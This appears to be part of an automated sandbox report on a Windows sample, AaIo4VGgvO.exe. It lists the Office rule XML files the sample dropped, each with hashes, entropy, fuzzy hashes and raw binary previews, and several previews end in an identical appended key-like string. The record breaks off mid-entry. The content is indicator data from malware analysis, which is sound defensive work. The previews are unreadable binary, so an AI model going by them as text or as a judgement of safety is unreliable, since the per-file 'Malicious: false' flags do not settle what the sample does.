.....a.z.]&.ulN....h...h.j..!`&......k...s.?....`I.....jB...?...T...Bkb.....u....TlM....^......e..0..{.?#......Q...K...C.]j./........w\|..8w....;...^."......D-]-.42B....z..c..%....i......&n..on...y...y.Qr..........F.:.m//AT..b..4.i.0P........<yh..-L..h./u..OC..^9.o..B$...sb.....O.&.............j..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.754969884355392
Encrypted:	false
SSDEEP:	24:R1XGvsEGp9nY3iturISKVJ1w+N9N3kJiBwJYwCsbD:RtG0b96lKj1w+N9CJiOi1mD
MD5:	A889439DBD600881D16B50D9B481A7FE
SHA1:	A9AF5C526D6D8AAEF1B1E72BA143951C6AC77A34
SHA-256:	CBCFFD29933F786B5A21E585B7CA3EBD80E5798C731D457D9F6AA7EDA2C9473B
SHA-512:	59E9AACBB3BDCB8E4F58FC26A36D7816BBEA7FBF8216C777F1A4AB47BE92FF59BFE4EFBCDB258A6C5FAC175017EDA45A595B9D3689C3A6CD12E8E6B83E83E1F5
Malicious:	false
Preview:	<?xml...Of.\|N.v.Zw...H.A.<@......H...E.P..f....F.'....NVcm2.%.r..8.M$6.e..B...=....}k..c.3....Z.2..g.HkM+Zn....{..\g.{."Xu.5......HSD}..8....2t....y....^..A.......1.J......(.t.R ...1....&.}.T.5.+.`1...t.\....Q=....A....g)^.~B+.. .d...2m.k..<&i...{=p...\|...j......H..r.3$...:...z#...6y.4&......r.'...H.8..g. ..G..h8..>......B..K.R...7Q......M.y.a...{..7C..#.\,.....h.I....!.......n&.X..GK.B..'ey.Kh..\|W..a....9..6+...j........k.,.m..B.1......,...G..&?PS....j?.p.8..+..77...B....1..,I.&m-\|.R.+k".5......P).)\|.g.+B.r....k..P.Uh....j.1.FL"s...#.>T..=..]..A.R......n.d.>..M0!kC.6..........\|..$g......Y;..;...W....'...O.)....Vk...qu.+.q.....Ls.k.&......7.u\:...G...+9...l2..U&o.jW.....T..+..x..{..@.b:.A...Lg...WV\|<.Y.]..v.-"G..'...o.]..S.uf.d)....o{mM1.X.1.Y.6.g#......q!...S.6l.9.9F.MuY.2.MNf..;h..e`..E9.J.{u.&..F..oP}......q..1v.^.d..s=......p.t..G...l....oc......$j...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879527991889659
Encrypted:	false
SSDEEP:	24:nhlVNAYvtMiVXvpg0HOzhRaTStwhPJoJrqO4pF1rWIjKI3KbD:n9tMiRBOVRwDFJv94I2AoD
MD5:	2564DA9DD7AD5139048288C2D343DCE2
SHA1:	75345A2ACD2276B9F77694F67442AE2D82DA07D9
SHA-256:	1FA664791AEE34DB5DD5313630D4EAD4D6A7A41473127057C3FAFF8E2B131CF4
SHA-512:	46D9F359AEA2866F9FC21D55FF3F3FAFA6F00D03DD51015D0E44F546D54D4B4FD2943E61114C74B82B708711949EA6522E63F5B98187999C93257041616F9DC7
Malicious:	false
Preview:	<?xml.9...U.e..8..0...f.O..I;t>.....7{.F^..;Rwq.U...X..G.y.xV....3...{l.?t.S7.z..Y.......J...C....4.b..wqY.[.4.../...OV....F..ApI.y.@.U.l...M..-.gn.(.\|WX......'.Z....W.V.:by....J..0p.1}.A.,...V.w-=9.!......Zq!.$...l..L..n!....}.....I.;1...!.?qu).....w.X!..x.g.<X a.s&.m...b...,@.r...y...i.&Q.#ff6#..._g.....t..].g..m..A.-u....>JJ...X1....y.........P{..E..ue...............B#......?.g...{.#.J\l\|._.r}...s..g,.%[M.0H.Zu......K........R..x...>....m..vr.....=.4.tTom.z...d..........s...........a....k. ....5(.ZjO..........Z..7%X......SW.NrXg....~...X8...Y..N..".`V...}~..<.M.}..c.............A.........z]..SP.Q......j..&...{z<.6...IW9K......+....}.%.......G.J.56...Z.u....K.g.ny..KIz..@...D......y...G.j@....0g.\|-q...0Pv..Z.vM...h.FS .RVx.X...........So'..a.....s..Q..C..b..F.=...AmC.......O.......E"$qxy[.~.u<[q.Nm..}.u.&.K].@.Z'.......rk"......[-.....H.B.yb.....t.G>7c.muT.._..z0.....(....d..`i8..?.i.......c.H.\.m\..i.cB.9V~.p*.;........c.p.8.Z.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.894050083613006
Encrypted:	false
SSDEEP:	24:uWkjL12y2xBAGDqZqHMlpMcB0JRUvCTk8XSQ2O8aCiaw90Xw+Gw8tWYRuHeFV7mU:UjgMG2pMcbkiLXLgtWYAH+FchMXD
MD5:	DC0F71C56F5197F9273BB4A8C94BD9C2
SHA1:	E006B28AFEA2F6A93A68840BA8BBC39F177D1D83
SHA-256:	1DBDE52F4A3890FAA2782E6C250F295B752A2206B2A4D037B497143C15ECB8B5
SHA-512:	253D8C84EA8F312902C1447B998CA575ED85039C2AC1CF4094A58081329B5D257919A8CF839C90319D5BC2FFF167E6E343178D57934E263715A3E5EDCAAF3653
Malicious:	false
Preview:	<?xml.c..%.w.......!.t......A.!.L .Jh...r.<o..5.:=Y!/j.....q.od...8..^.GbY..O...q..1..B..........:&\|Gq..(.Kj.... ...)kN.....F .(.H.....A$.T2....ORtF.0v..o..G}..%.....>......9...)..........0Kv.b...n.9,x....y....S..m...2..v..;..I..G.4)P.........e..._....+&)D....7.Z....+%..beS...g..cCv..P....;....K>Xk..4..=..r.uP.p...l.W.....Cy0O...5O.EI:lr.`....>.$.d(..c.\O.E.`.l.U.O...d...:.....E05H.M.i&.-u..R.).z..xI......J....ND...w..4J.?b...W.'ux.".1..V..F...B\Xo2.].....}..T(\|%.6.......V,.+a6..P..w..........x..}..L..t>.^R..T..h..RL.X....i..$V....tI.Y.b!.'<...w........ye)....@.t..(5Z>.....I4.jL..Y...b......?.~....Z.S.z..s5......m.).B....!1e..-.V...UK=.4.$.m./;!..x...<MjW.z.=.pL..LC..H0...N....7..bdg...\Zq..1.,.]..7@...@x.Qa...].Z.7..?.......'..~..`.{.'a.....{...S.3z..Z...1...".RSUlPC...&B.9...y....J..x/X..B(]X..:.#..F.N.l.....z... ......~..<.M..k[:+..m.[.8qD..E_%...}...M5`..7/s.N..O.b.....Sr.?...C.y.%:..;.9..b..)..tR..d-]....]..loAO`..$.p.-...*c\|.(~LE.w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.729190114169164
Encrypted:	false
SSDEEP:	12:flyI1AwaGofjaO/eBpQGOpej8RHjN2IH28cOoavC05hIdWm/QuanUxW8P22oS6wB:flVgfMGGRIFnH28cCvC0odb/vx5osbD
MD5:	B19290E362287CAFECF24A09E7E103D3
SHA1:	CC896F3A3D8568164A4E09CBA5A10CE00B8E7F61
SHA-256:	EC9D6CA0A049397B9FF312C1DD93E7022DD0C35F41D55338AFEBCA973555EE6B
SHA-512:	D1F4F45D2061D5E4086E27C51EBC51D5D440FF1D7B3BBACA3EA4942848608921DFACBBFACF73CD96A9CFCF4EBD712E36AEB15A122A0DE587DCB46DF805672335
Malicious:	false
Preview:	<?xml..J...7.ue........'.....6.O.AG....Yz....(.....Z.e.p......%..s....KAo.4.(.-.jM..rnX.4....^.k.l.(.C..e....y....~.;...$.a..'9..u.h....k;k..-.....\|..#....A..O(....}.L..FZ.w?.].bj+....Y..x.-X.Vv.... ..vR./...ki.jTrd..."......D..6..\|....I...+.Z.QG.0{[../...ew..S..7U.kv..xC..s#6.Q.$GJ.A9..... ...z.......$..,...K...vq<+2..%B.bB...[..Ws..Z...N...yO.{..`P.#............Y?v.J\|.>.t{Q.2,.$...W.9vH@..JhO.1.)...M...d......L.eT.!Qp.=0./....o>....:.T.c..I.....m&.O.um.w:iG..Q.<)..X...b.)..T]..gY...YY.z/...m.c....Uu..~..u..[...>!ob3....`7j.Z..P..w........-..8`.y.F..\|...y..Z./..K..;......='..-B.....Z...ww`......C.h......Q*u.....f.m.......V]...C(@m...RzE\|.\._{.g.BSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.759744096969934
Encrypted:	false
SSDEEP:	12:QJSEPxR/y/GjSlF95VaW6aXSR2DPwdfVZq3Qf1ZwlQQ8eCLsVwf1+cii9a:QQeMZ95VYai0PcfnqAf1Z6R8eCgfbD
MD5:	838BCE81C9441CFFDAAC6DB7E88C561E
SHA1:	1915DC505C38FE5013203AA7469460DAE1C73BB4
SHA-256:	E58D3D2A3CD9238348748B3B112EA848C9704F5E7B0FE27F47145004A603A8B3
SHA-512:	8EC7CDE493947ED7759BDFD36B50B9411673D487A25C65F27EDE99447C31C58087246638394D427E37055A081D18120EA54CBE67292703257A7B605C81BCF0CC
Malicious:	false
Preview:	<?xmlm.1]:..o).&H..F,5...Q.G......v.6.Fgl=NM5. .[.....d...(P.h.....V.5.<S'..........Z#..+.1.....d'.xY....B[...e%3_...L'.B..&Z..EV.j...+..G.+>........+ .?.......?...!...K<..u.......6...Ys..g ..k......#...Sf."......".V.w....w...{t.'....m...jv.....lf..<_.yq...2.......oi^.0...R...t<rw..~dz...m..7h.........B...W...K7IR..m..0..z.7I.p?US.0.6s...........4.1Fl..(...? .N7...K..20.O..6T..F...E.N..T..L...e..W%.JW.X......b.%..:...1.Aa.k...FaI.+.C.X.jT..A.yM.tm@wX_0}...%e......s...D...J.?....4.V......s......y.....XC.N..6....3..wB.Z7......h..$~....X.. n.)...?,......[.;6.z....)..y.Rb.......3..p[..M."..<G....ic...g.U......U.q..3....O..2Z&.`./n...ZA..F...C..."\4.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.877264709336612
Encrypted:	false
SSDEEP:	48:9MzsrxMntGxjAdPFBDm0vkKO1isxzBT9h4wnGaD:KQCt+A9BDBv9O1ZX4w/
MD5:	411C267835E792684E83C6FA423AD01F
SHA1:	C6756BFD4BE8E7891C4F2FF902B71A4B6C4E188B
SHA-256:	D22A9C250E8F92C37BE6977C8408FED05C5CB3E771F4BE29254E25E29DBD69F8
SHA-512:	0A15792EA0807EC540D99927F5779A3317974FDF5DCCDDF40C1F2A1E219A4553D5D00081D342281E0E33D4EC7F52504585C0DB7BF975F039E704A489C785CFAC
Malicious:	false
Preview:	<?xml.0..'LL..,.w..........V..L..b U...c.w..C.Dt..R....~......"...WK......A..x.... .S.x...J.q.p..bi...>\|.d..G...[.......i.J5..Z..8..../....L....?.k...k{....X.>...:.$........0.m.N.0.M......u.L........!.......{...(0.pE~..^U..Q..k@../b\....>.B.J.....:.ixv6c0..!._ V.R]._.^B.W.'.Y.'.t.pe.'.:.........kX.^H=...v.{n.c..x.e...D...(..\%...6..!.b..d<.o.DWF.&.@....B F3...,d`J..H...Z..9.Gi..J.@.6_.n..{...Z...y.k..)%......%_...j.Z.XK. .W.H.b.....i......%...x.O.7?.1.}...E+.........V..4.V.).~...DF.n..._.4...Z.^B.5oVe@.....e.}.`........3.'].......N.R.:....G.....g(_...YjL.[..x.Wgry..pX;..a...j;..)..2U....!.e[1t...Y2.P..]...n.6.,.h....\|.E.K....K.3..A....^+.'dF.W.).....<;wu...\..YO...oc "c..A.S..5..E.R...........r.$31......j)e...".D.1.....G^......^,....3..-...l..m...^.x.Q+..@]1......r...-...Y}...<.Rvk..).o(..9@.+....<..(P.W~....G.X...)x..62.-z.uU+......s...?..29..0't.<mJ.....u....&...f4.b.L.......7AD.F.....8n...E....NC_.R.D..&.....r3._.K'....4Z/8n..$w..e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.893061180657691
Encrypted:	false
SSDEEP:	24:NK8RzYKUDG4nFkBWXmYWtrYxBkNlTYNsAkKdMMo+Fv20hvTRy2KZ4w9HbD:8AhU6cFNXqYx+QhXMgF9hVBU97D
MD5:	4F443E9FB6C82F2D79EF5C07BA8F5EDB
SHA1:	E43D33DB8581029D0050010A66E319EB9F8083F7
SHA-256:	2EBB23F3049F5E0D6C9AFE9BAF260BA9A11C03901716343D9BA63202856218F6
SHA-512:	3B507275D39327D77D19FDB764E8E49FF7B3FBDEAA60C4484BEB8BAD564DE15E5010C19DF23774C8DAC5FA2CD9B06931F42DA7891B380B11FC27CF80AC5693F0
Malicious:	false
Preview:	<?xmlW\|.k.G..Dqc.~.e.N4 .I..^9..J..Uq%m...o.q....8..E.W]..D8.=^8..J.6..R...w.6..f..$ox..5_.t%.#..SF.wf.H...k..@0.u..G..BN...u.5$.....$........S..%.w^hO.e.--#..:Bw.I.G......b.Go...!.Qc.:.$....,......q.n.n..kO...5}^..........f...vJ.....0.....p.....N9[.Dm...#)...-X.G...iFjS...i..<....S..U...&#vX...!......^J.. W6.25)J..%...Hax....G.$jxn......3v>..b..^XgAw.rv.Nn...3' G?./~..E.\2......$i...=E7..[...t.......!.....'[a}.sP..u.je...8...3.@L.`~.8%....a. ...<."..S.S....\|.F......K..q..".........!$.\|M...#v.^.2.J.d.H/i.....m}I....h....A.4.S..Iwx5.?..F..U.l...~..+ .P./.....m.~\d.X.....-5je?...g&.....n.....U/.w.....j..C...5..} ....cd.<...2...>q....vdZ.m..<...Z.o.P.(?....'.....i+A..K^...J1..fN<.........l..b.......8.wU.....[.........#..6kxf..2.-....".Q.....E.#o.8pi..u..M.J.8.Z.$K.tI...u...o..p.z}+....t?.P.....n.........SW.\Z.b...........H....D\.<.n^.....%zuS....3sk..,"...\.H.1.;W..@=;..@.r.X...-...........D....\j..S$\|..s>.[.. .........X....p, .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.70357914593007
Encrypted:	false
SSDEEP:	12:GKElbk7tcuLPE5sSZ2yVnX3QSoG0zZ4puygcTYmr39RxqZxFHdZ/AxdHbDUHBJrp:GKElAX45fJVX3QbvzZ4pusvr39gFHdZf
MD5:	B6B6F28089A21368A7B642D999140205
SHA1:	EF7A9B828D4C2B89333B2BB5D2138146F0FD3D0B
SHA-256:	117D4893075419350E555F01C7FEB74860413E4A527251520C00EBFB471D5771
SHA-512:	693DB79F581A1A1801677E709F922B59F8D1461A6CBC48A907E2C16E3AF5727703BA50935BDA35C6971681638F77B6A04915F61E94CE904B9FF494B20834730E
Malicious:	false
Preview:	<?xml...<Lb..4.E......C..>7O.Y!..(.f"..]q..+....bb....Orz<.....T..KH3...w.[..Z&.'j{...(5.iy...[.2Lk..>.!."=...$......I,.a...5....-..m]4.....D..E....... .@..Q...p...I.y.y.MP'L.F.#I.6(......Q.?d-6).ue"9.kB.c.R.V..E..kv#..?&>...9.=..E.r....Gm..A..}.l..eF...M.i...-.7.fN..cN.U&..l...P.~se..\.....c.MqM@....F{x.m.lG.h........f=......q..E..o.Y.\|!.w.f..4.....j..vB.]......-.b....g..eC(..E.ba..B.... ....Y........}.vr.e........./v..g.v..........>..$.....Y......^.;...&........T.".....G...);t...x\|J..s....i..".M...6.............UpP:./d..+..(.G.4..~l..-!..P(8..9.9?....v....3...a....&9.8.).w....}.Q2. L&.dB...;?.H... _/V.'..W..45..f.(......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.726390386035905
Encrypted:	false
SSDEEP:	12:iFHTrtSprV2rKiKYl+GYS9Szi2fWl0CxEGa+T1XGVfUgAripNw1+cii9a:AzclsYSQi2fg0yda+T12VfUzrinrbD
MD5:	E807703A3F1C6231FC8188FC6E7C8D49
SHA1:	E2DD8D7C204D0BC9A8C096C67106AE0401DF390C
SHA-256:	ABAA2704FC22E1EE870E11D0F520BD7AF7E117F11E8EB8E441D0FC2BD18C5493
SHA-512:	5779B911538F230A40C668C5DCDCA730A5982C8123BEF8D0C4D851F5A1176DCAB7978B9DDC195ED05579D5E9EF860C4B659CD6C6F74EB5013EF4EF846A6D47D4
Malicious:	false
Preview:	<?xml.......h..aZn5~$N......8V.....cx.....].2..e..;$bC.C..O......`..W..V..A#......0..........L...f....).r...A(.,%...,x..?J.'.il5....c....'.D......>.`..[b.G..T..G~S..Q..pIN~.:W..%\|_[.X......bkU^..~b2.v........T.C.cZ\fkN.4V...5.jb..\|.1>....5..&<3ZLm.....B..Y...*B../.z...H.L.M.N.X.ojf.!w....[..4.\.G4..F.Q#..&%=X.O..u.m.`I.0.h...e~!...2..._.h..z..r...s.mltrl...Pg7+..Z.....i}.s..........)...(+.f.s...0o....x. .@..{y....q..+.3.?.....,.....i;.....r3/...+ZND.{..i.+.~..cqNY......mYM..v4......0..M+...J....."...i85HV...`...%..R.D6.2..m.Bm..es..B..o................].....@g.P<.....`t.....}fV/M3^.'...(..u`.J/....#.G3.....n.m.nT..C.y..........6.9....\.9..\|T...p....K'....q1)g..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.876235879157832
Encrypted:	false
SSDEEP:	24:2jdVtwPtYkc8XdiLwCBe2TpFyvwwyRCNlmBLVjGYxrWzCvjYHyCLR4fw8bD:ghsCo6pFozyIoLtPxrWzCyymyD
MD5:	22E8D973C71971FD4B5361942B287DAF
SHA1:	EBA5D095C53DBFE3CB5B6C6A24BB2456347BE974
SHA-256:	5E643824B9AB950DB78AFF08B7B44CAA658CBED876D67AD8907F3A0B45EF1043
SHA-512:	E3691439C860E680D8A0DF82EFD00FC0DD24513AB61FBBFA6C0CC180C9444E5BA435769A15AB14212C903D45A28559C299E26C8CED28E0DD260AF51E16542F2F
Malicious:	false
Preview:	<?xmlO...(.brh...O..Ks.....<A../...W...6..K.{..(..N&......(....-2.U.].JK-N........1.P.l"?..e..\....=.......X..[......(d.....$,..g..`^[Z......o#..i.M...y.Dg...#.....4H.t.Y.h..%.t..vT....I....{..}0d[...%o.}4q,8H...V.J.A .^w.x1.r[.X".....m..e. 5.....F.2.....5.-.'I.R....5.e:U.<_.7...1.T~..^.IT..0.Ut......U&_.H.\|y..D..H.j..&...~..X..R...~..r.J......x .S.......5r.c...K.....%!{..CFw.y[.U.Z...;.&.........bl1...S.......Y.;.7\|.~....+....i.EfAy..K.1..i="x........y.....>......oP^....F....>..c..k.K0...t..22^..O...`...."...8%l........GW.Hg.......6.....}J......P...k......{D..1.N..n6.....S.}..f.A/`H.2Q...gx".G.&.3...K..w..y......U`.:/:Tu.os.ay..)j....u9L...g..h0....)2.3......{-v..,...'..I...........An...!Jv..0.(t....8...M.Y..Q8..rh...0K9....jaW...,k.Px..?c..x..xZ..J...,..7...Tl...."...P..Q...)..{g.3.G+0C.......u.F5iH...........6U.2..D.5.[.dZ..\|...~...b.6......vu...g^V.Q.6...'2..w.M....f...L........._.`......._....H..Q.VSU-..R.]....r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628063265247585
Encrypted:	false
SSDEEP:	3072:203znzPP9hcS7v0C8cTeH2TLaSFdmq5VCPvl8ezvSz7+MaJkyuMGGGn:5XnnLgC8X4ObvSzraJTvOn
MD5:	D5D169D3E7E407BD6898F7F3714F2018
SHA1:	8AB0276C7E04E7A84F1809D9AB4E01BF76B87152
SHA-256:	D23B2266855950A3D44A098AADE3660A4AAD087BF2A0706695B06D9A967AE4FC
SHA-512:	884A1E008FE460643F3B00EAFFC8E5B03967B0388DF1BB5129BFEF954987659F863B4BDC3B80F33FA5ED13500D9AB36D956BAAFF974D3F7FA735EFE55F430C46
Malicious:	false
Preview:	<Ruley....6r..IR.]....n...t..3(-....p....0OiE.[.$...\|r_..,.}.{Ok.....3.G.;^]c.^i...H.G..w;...w...V.)V..7.u.[-.....#E3...!..n.1m...nTF'.^..0"...i2o`......v.6... .Q.Z........K..t..9....j<7.\.."?.\......,'.......e.".H.@....L.Z.a.n....%.q{._.Z`lU..M.lj..4^.j.v...h.&Po.......>zS.F..2..s_.w.1...".......L..._.t.....ZUF..?c.....vG....6.Y..9.........].......7.......{q...[.+q .~G]'%...F.....y...).7..\K}._g...g.n.FR.A....m..f.{.....u.7..aF.OWm.w..hR...~Z,Ymx.3M..K...._..kpG.E.H...],.).8..j.5.(..S.>_^FC..E..u...f"......O...6..".fV.z5_.>y2.^....W....P..I5...&...?K..nRo.>2]......O...3...S.v.@Us......e...f...iH...Ja....\..5.r.....\s{...{..:........{.4).&.P....yO.C..rg..;.L..P...=.E...'s.....n..=)..'.y.o....}......@.Cm.O.n="V...2........kQ..p1?..ls..>...T\......:..../5...1..F..@.f..y.....A&F..>.".m........pO7..R......1.q...8M..N\|'.)s........&,....@..j...~9{..w5...xt.:..}..._.[:.2u7....b=...@jB.Hpyc..".....vK...]n........2..e...S...\.........c.;d.Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8909572548627525
Encrypted:	false
SSDEEP:	48:o7INZFP8JX8kSAj/Hf5h6GGoEyqBZQAQ715x0YMs09/eD:o7INZFgOAj//5h6qvqBZ1gv0YMs09m
MD5:	E3F7C5A8AD6CBF1E4FD36E2524285119
SHA1:	47B2768101DB65E13FB26C1FF70AFC9CBE30A161
SHA-256:	E355EF933F6DBECC623F149CA5130D2875F08F9239905A340C8D03D2D978E965
SHA-512:	3F5DAF8AA0844816B1C7466BB720B33C56168D5C9B8840B37572A4A0CC03EC5C94505CAB9E769E69D971260DBD670C23538EA94D89E77B928014B75F224ED8B8
Malicious:	false
Preview:	<?xml(=E...)...3nfc-d.a.{.5r......w..q...n.[OO%<.p..X4$[..ITl...b...TQ.G..i..P....:O!>..6...[.....u..<j...>.r.a.==Mz.........4....$K...=2.L..Q}.G.%%...f..q.}...r....<Tz}..o6?.k....O.I..:8.}.R:......]S..76..V.....V...n..&X.w......J.l.I.3r...z.}.H...x...".....6.].t..@......:......v.rR....?/1....tw...k.+..T7.t_.(..r.&.+.'9,{..@......_..K.I.4....'.-.9.$.g...S.;....#.0.t.......N.A.a....j.J.\|...{..G..vUU.f..9.A%:..W`s.f...,.HWI..w@..0dR.W..+%..V..a...D....{...&%\..f].....;.(o..z.=...az...E..\|.`cw..}..............m/.f.?.~?.T..z....B...n.t...z<.GiF.c..y...40...p...,.0..( z;.D..M...............-.v0...z.....[..`.i..=.I....E......G..a.,.8c..$....E..qy.J..D..:..Q...#...&K...Mt]..x...&...N..t\|..L.....D...Da..o..(.%..#..>...k^......:.:R.Z..!\^:np<.5.x.K.....`.b.1.).7...:a=.@.S .H..n.-..N_..=.L!....Y?..u.F"A.....;../dx.^)..Wh.M....m..5....._...c...m(.......\|.w....p........ !......d..P..r0..f..O.>.V....C...^.o..Y==...-....8'..p<Hh....:...).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.88588446510089
Encrypted:	false
SSDEEP:	48:iw45R55+ahtGKkD+5LUtLN5tZ9GKj8BvxwELD:/45v5+aPGn+ytLtExb
MD5:	9C60D0FA6E4ABBAAC3CEB83A1EB6AFA4
SHA1:	DB9E411B5070B7943FA797C0B9EBC5693AA0FEDC
SHA-256:	06A48DC151DD86AFA1DDB275AB2EDA5A94ED9B239532F31C4E796D8C1C51F809
SHA-512:	74AB5E0D7564FE528CC4CB89B063DD69547BA0880DE0A016E6725302FA072E226A2FD76F743F48A11B2572591870CEC4FE301E8F58B5CA68BE72210DFA56D954
Malicious:	false
Preview:	<?xml.).Z.../..x...O7....#wCC.......y.3...OL..G....."ik3...f..{.J.u...]../...........)....HW%xsR.t.......:..`.........aQ.)..e.e...L..d.<#...J...4.....]... R...CV........z...1I.^\|..O{>....'\B..y.>.a.$o.v-..MXJ:.s..8C.;.h...V ....Wn..\"...cEH.K..W..kj.F.+..s...g. .3..X.....]....11n+...b...%...2.r%;G.pIv.f.$.M.?.u.@......@.x..}..'5.....Q..b;...?..NsiE......L.L...KD.rM.Q.."s.P\.'~.B2O..!T..rB.tqZ..q.]6.}x.....VOu.{. ..].?G.g%.....%ji./..K..7..p.K......~.\.o..e@..e.og...d.80hr...uZ!R~_..s.y{7.!.....&T.FD.b..H.'...'?Vuv.G.(.].O.#.g.=...&...W.F[.)E.e.<a.la)..&Z.....D..%.s.....#.......h.SX<.1.....7!..C.$.8....f.... ....oI.yS...m/.x..p...$..sXS......+.-.h..S=..A-...1(.R$.j...X.%.4...0.@..~.$N....M..thS..P..\..W.0.;...sj..:g..k....j..GQ.G...1...wt...r.....Y.{F+Fyf/....3]).y..D..J=3[W.=.vdZ<.D?re..W.t..........H....:\...j......F_..Kw..^..b......d..T~K...=.s2..y.......&.V3o.4...dW.\|.8>...CdG.1..z...\|..%_H..%6....w"..+z4.YQ..!s..9..w.....s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.89987199469848
Encrypted:	false
SSDEEP:	48:rbTV6UE5WXciGrL7IW1/t9zmzHO7W+J3QAD:R6Ug75MWRiy7WYQc
MD5:	2DE84542DDE38C762A9D5C2B014F6248
SHA1:	B33A691E280C88DA603B7587111FFD344F2B4FD8
SHA-256:	2DCBFCA42F1CEA0BC3F9F350EA6BA6515AA1A579BA7AA553488E1B55E799E0BA
SHA-512:	D41C811B6B0EEAD2DF9B1CAAA877934A05A64BE08DF95E1D6C985F36C605632BD51A6DDB79E5AC9AA4F591B8FDDDAB4EB1B924D72D43C960B008787E7D700FD4
Malicious:	false
Preview:	<?xml..s...."...&2..2.b-....lA..D.x.......o..z"_..J.;..o...`...n.J.......JH.....n.....f>q..m..`..........J.4.19.o._J...qg.......&-M..%.."/....;.....o Pe...f...F.\....~...3&..Z..g<.l...#....;i.h.../:>..E....M.~,..b.sm...^.5..jx..hS.vt.y.[...8u...C...=.......R.%....~..zC.....J......M..^.S...n#.4.t.F...`..`..........4.i.....U..E..!...T..os......1....9;S..(z.S...( 9....t..'.n2}&Y_....-..+iAG4....B[.e..9.$V.(.<:..6BP.;x....<.....r.U.TQ...;p........P.._..\|.W^6...#+?.sax/.>sL,..D.......<..m.NLm+.P..rlM4i.l}.k:9v.w.q.o.t._TA#.>...Nx\.?.@.......`[y'... ..Q.b@..~......x..V{?.G.Y...0...xk...U..7.......[.g.....WQ........F,..:..K.]n&.r.hv.M....<W..w...nr.!\c.V%_hM"*?]%F..5.D..N ..e....n..Q..ju.D...V.R...p..N.....V.29.._..$....d..U..M#...5&...b.O....".V.$+-@.P...+..d.........&.b.....2.....g..A] ....8M....U....`.j#u.2.<B..~?.....Q.<.A.:X..9...1......dC )..)..3`..$..U.yz.\|6Y..S.3W.....$.8..U.......s..u......QB..@....l;.....y...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.886609847160848
Encrypted:	false
SSDEEP:	48:iw/BaB926C7IuigG5bKIROnv6VL98tPBzRCYD:RpaB9dC7IOG5bKhnv6VL6bCE
MD5:	D7C5CF9826F4D64129F6DCC7E89023DE
SHA1:	9E1C3F30FDF220C8B555C5B910E3476D1BA66B8A
SHA-256:	B382BD5303E55D055337B7C6939B09924D6BA40FCEEB47710891B287B4C7962B
